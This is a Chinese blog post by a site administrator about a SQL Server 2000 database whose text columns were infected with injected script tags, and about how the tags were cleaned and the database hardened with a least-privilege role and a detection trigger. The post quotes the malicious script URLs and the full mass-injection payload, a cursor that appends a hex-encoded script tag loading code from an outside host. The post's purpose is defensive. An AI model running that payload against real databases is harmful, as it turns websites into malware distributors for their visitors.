国内最全IT社区平台 联系我们 | 收藏本站
华晨云阿里云优惠2
您当前位置:首页 > 数据库 > Sqlserver > SQL Server数据库被挂马的清除及彻底解决方法

SQL Server数据库被挂马的清除及彻底解决方法

来源:程序员人生   发布时间:2014-04-22 16:55:09 阅读次数:2404次

时隔一年之多,最近单位的网站又被挂马了,唉,原因呢?因为单位的破网站还在使用SQL Server 2000的过时数据库,漏洞太多了,这次发现的挂马不是再是<script src=http://3b3.org/c.js></script>了,换成其它两个代码,分别是:<script src=http://jiongjia.com/c.js></script>和<script src=http://shgdjx.com/x.js></script>,人与权、钱的社会,黑客们为了钱什么都干,无奈很多,但是解决问题才是主要的,要不然领导们又该说话了。

首先是清除数据库中所有表的挂马,语句如下:

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://jiongjia.com/c.js></script>'
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

注意:请将上边语句中的红色部分换成你被挂马的代码,然后在查询分析器中执行,记得选择数据库。

下面再来说一下如何防范,系学院转载的内容,大家自己瞧着办。

其实解决的根源还是在代码上经行严格的验证和过滤。只可惜网站群代码实在太多,而且出自不容程序员手笔。所以一时难以从源头彻底根治。只好在从沿途的路径关卡出处处把关。

首先我想到是微软的urlscan。但是仍然失败。urlscan 只是对get进行屏蔽,而对post,cookie无能为力。
后来我在代码处加入了post和cookie的屏蔽,由于对注入的方式方法上缺乏深入的认识,以及代码繁多,仍告失败。

于是我想到在数据库上这个角度对注入经行拦截。传到数据库的注入sql是: 

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))
+cast(0x3c2f7469746c653e3c2f7072653e3e3c736372697074207372633d687474703a2f2f73622e353235322e77733a38382f3130372f312e6a733e3c2f7363726970743e3c212d2d as varchar(67))')
fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;

从中可以看出要执行这段代码,执行该语句所需要的用户权限还是非常大的。可是一般设置的数据库用户的权限,我们给予的数据库角色往往是:public 和 db_owner:

而实际上db_owner的权限实在太大了。大到足以运行以上注入语句。所以得取消db_owner。可是取消db_owner后又权限不够,因为select update这些基本的语句肯定是需要的。

在仔细的研究过sql server的权限控制体系后,我发现如果自己创建用户角色,分配最小的几个语句权限,就能做到量体裁衣,给予最小的权限。那么declare sysobjects syscolumns set exec 这类非常危险的语句也就被禁用了。

方法如下,假设数据库为tempdb:

先执行一下语句,创建角色:
use tempdb
Create ROLE beacoder_role

再分配权限给beacoder_role:
use tempdb
GRANT select TO beacoder_role;
GRANT update TO beacoder_role;
GRANT insert TO beacoder_role;
GRANT delete TO beacoder_role;

注意去掉权限为:REVOKE execute TO beacoder_role;

然后把网站数据库用户假设为tempUser所有的服务器角色去掉,剩public.(有关数据库角色,服务器角色,用户,架构等请查文档)

再在数据库角色那里,去掉所有角色成员,只留下beacoder_role和public

到此为止,上面那段代码即使在页面上被注入,但是提交到数据库的时候已经不起作用了。因为declare sysobjects syscolumns set exec cursor全部没有权限!

但是在赋权的时候我是赋予了update权限,GRANT update TO beacoder_role;所以那段循环所有表所有字段的代码已经没用。但是手工对某个表某个字段进行注入的话,还是没有办法。本篇主要探讨在数据库的角度对sql注入进行屏蔽,所以对这个病毒代码需要对手工的update再次进行屏蔽。

我想到的方法是建立触发器,监视任何的注入病毒特征码,即是:clear3.com/css/c.js
触发器如下:

create trigger [dbo].[beacoder_inject]
on [dbo].[News]
for update
as
begin
declare @in varchar(50)
set @in ='css/c.js'
begin tran
select 1 from inserted where
charindex(@in,lower(title))>0
or charindex(@in,lower(filepath))>0
if @@rowcount>0
begin
raiserror('感谢您为我们做安全检查!',16,1)
rollback tran
return
end
else
begin
commit tran
return
end
print ''
end

生活不易,码农辛苦
如果您觉得本网站对您的学习有所帮助,可以手机扫描二维码进行捐赠
程序员人生
------分隔线----------------------------
分享到:
------分隔线----------------------------
关闭
程序员人生